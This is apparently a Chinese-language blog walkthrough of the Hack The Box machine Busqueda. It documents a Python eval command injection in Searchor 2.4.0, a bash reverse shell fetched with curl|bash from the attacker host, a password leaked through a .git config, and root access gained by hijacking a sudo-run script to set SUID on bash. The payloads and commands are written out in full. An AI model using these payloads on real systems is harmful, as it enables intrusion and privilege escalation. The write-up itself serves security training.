HTB-Busqueda


HTB-Busqueda

一、思路概要

1.信息收集发现命令注入;

2.命令注入反弹shell获取svc用户权限;

3.Git信息泄露密码;

4.sudo -l发现可suid提权;

5.suid提权获取root权限。

二、信息收集

Nmap,先扫端口,后扫服务

开放端口:22(ssh)、80(http);域名:searcher.htb

添加域名解析记录到本地hosts文件

echo "10.10.11.208 searcher.htb" >> /etc/hosts

浏览器访问http://searcher.htb/

大致意思,是一个集成了多搜索引擎的搜索平台。

第一个框(Select your engine)是个下拉框,可选择各种搜索引擎;

第二个框(What do you want to search for)是想要搜索的内容;

此处尝试搜索引擎选择Apple,搜索内容为123

下面的选项Auto redirect,不勾选,搜索时会返回如下格式的链接;勾选,会重定向到指定搜索引擎

另外页面底部,可看到Flask框架和Searchor 2.4.0,所以后端是Python

三、命令注入

搜索的同时用Burp抓包,测试发现query字段可能有注入,如下两张图。Sqlmap尝试post注入,无果

看了一下Github上Searchor的介绍:https://github.com/ArjunSharda/Searchor

根据CLI(Command-Line Interface)命令,推测一下,post参数传到CLI时,拼接大概如下(此处用123'123"测试,双引号时响应正常,单引号响应异常,所以参数值应该被单引号包裹)

searchor engine 'query' --copy
例:searchor Apple '123' --copy

想办法在query参数位注入想要执行的命令

参考:https://realpython.com/python-eval-function/

compile()函数语法:

compile() 用于将源代码编译为代码对象或AST模块对象。可以根据提供的模式使用exec()或eval()函数执行返回的代码对象,以构造代码对象。
语法:compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)

source: 必选项,表示要编译的源代码,可以是字符串、文件或AST(Abstract Syntax Tree)对象。
filename: 可选项,表示编译代码的文件名,如果不是从文件中编译代码,传入 “<string>” 即可。
mode: 可选项,表示编译代码类型,可以取值为 “exec”(编译整个代码),“eval”(编译单个表达式)或“single”(编译单个语句)。
flags: 可选项,传入变量或位掩码,用于控制编译器的行为或特性。
dont_inherit: 可选项,表示是否继承sys.flags和sys.__optimizations__模块中相关选项的值。
optimize: 可选项,指定编译器的优化级别,若设置为-1,表示使用默认优化级别。

自己本地用python测试一下,如下

test = compile("import os\nos.system('id')","<String>","exec")
eval(test)

如图可以成功执行id命令

那就尝试修改请求包,传递如下query值,执行id命令(前面1'和后面'用于闭合,中间有空格的地方用加号连接。实际测试有没有加号都可以,但前后两个%2b需要加,且用空格和%20替代行不通)

query=1'%2beval(compile("import+os\nos.system('id')",'<String>','exec'))%2b'

传到CLI后:
searchor Apple '1' eval(compile("import os\nos.system('id')",'<String>','exec')) '' --copy

可看到有三个地方展示了回显:响应头部Location、响应内容<a>标签href值、响应内容<a>标签文本。且当前用户是svc

再用如下语句执行ls命令查看当前目录下内容

query=1'%2beval(compile("import+os\nos.system('ls')",'<String>','exec'))%2b'

app.pytemplates

然后执行cat app.py命令查看app.py内容

query=1'%2beval(compile("import+os\nos.system('cat+app.py')",'<String>','exec'))%2b'

URL解码得如下代码,从代码中也可以看到post传参的逻辑

from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', options=Engine.__members__, error='')

@app.route('/search', methods=['POST'])
def search():
    try:
        engine = request.form.get('engine')
        query = request.form.get('query')
        auto_redirect = request.form.get('auto_redirect')
        
        if engine in Engine.__members__.keys():
            arg_list = ['searchor', 'search', engine, query]
            r = subprocess.run(arg_list, capture_output=True)
            url = r.stdout.strip().decode()
            if auto_redirect is not None:
                return redirect(url, code=302)
            else:
                return url

        else:
            return render_template('index.html', options=Engine.__members__, error="Invalid engine!")

    except Exception as e:
        print(e)
        return render_template('index.html', options=Engine.__members__, error="Something went wrong!")

if __name__ == '__main__':
    app.run(debug=False)

接下来尝试反弹shell

攻击机开启nc监听和http服务

nc -lvnp 9898
python3 -m http.server 80

攻击机新建一个反弹shell文件rev_shell.txt,内容如下

bash -i >& /dev/tcp/10.10.14.7/9898 0>&1

Burp修改请求包query参数如下

query=1'%2beval(compile("import+os\nos.system('curl+10.10.14.7/rev_shell.txt|bash')",'<String>','exec'))%2b'

发送请求包,成功反弹shell,获取svc用户权限

四、Git信息泄露

查看当前目录下文件,看到有.git,尝试git-dump和Githack下载失败,只能硬看

看到config文件里有用户名密码

cody:jh1usoih2bkjaspwe92

PS:后面的gitea.searcher.htb是个子域,加进hosts文件看了一眼,是个类似git仓库的东西,有两个用户codyadministrator,估计也是一条路线,但没过多尝试

五、SUID提权

在svc用户尝试执行sudo -l,发现提示需要-S参数输入密码

执行sudo -l -S,尝试密码,是上面cody的密码(PS:在HackTheBox遇见好几次这种张冠李戴的事…)

可看到有一条命令可以以root身份执行,sudo执行该命令

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

提示三个用法,前两个是查看docker容器的相关信息,用处不大,第三个尝试会报错,如下

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

想看一下/opt/scripts/system-checkup.py,没权限,就用find命令模糊查找full-checkup,发现有/opt/scripts/full-checkup.sh,但svc用户没有可写权限没法更改,那就尝试在当前目录/home/svc新建一个同名文件

靶机shell环境不方便编辑文件,我们在攻击机创建full-checkup.sh,内容如下

#!/bin/bash
chmod +s /bin/bash

然后在靶机用wgetfull-checkup.sh传过来,并添加可执行权限(注意需在/home/svc目录下操作,别的目录无可写权限)

wget http://10.10.14.7/full-checkup.sh
chmod +x full-checkup.sh

再次执行full-checkup选项,可看到/bin/bash已成功设置suid

执行bash -p成功获取root权限

Over!

参考

https://blog.csdn.net/qq_58869808/article/details/130050438


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录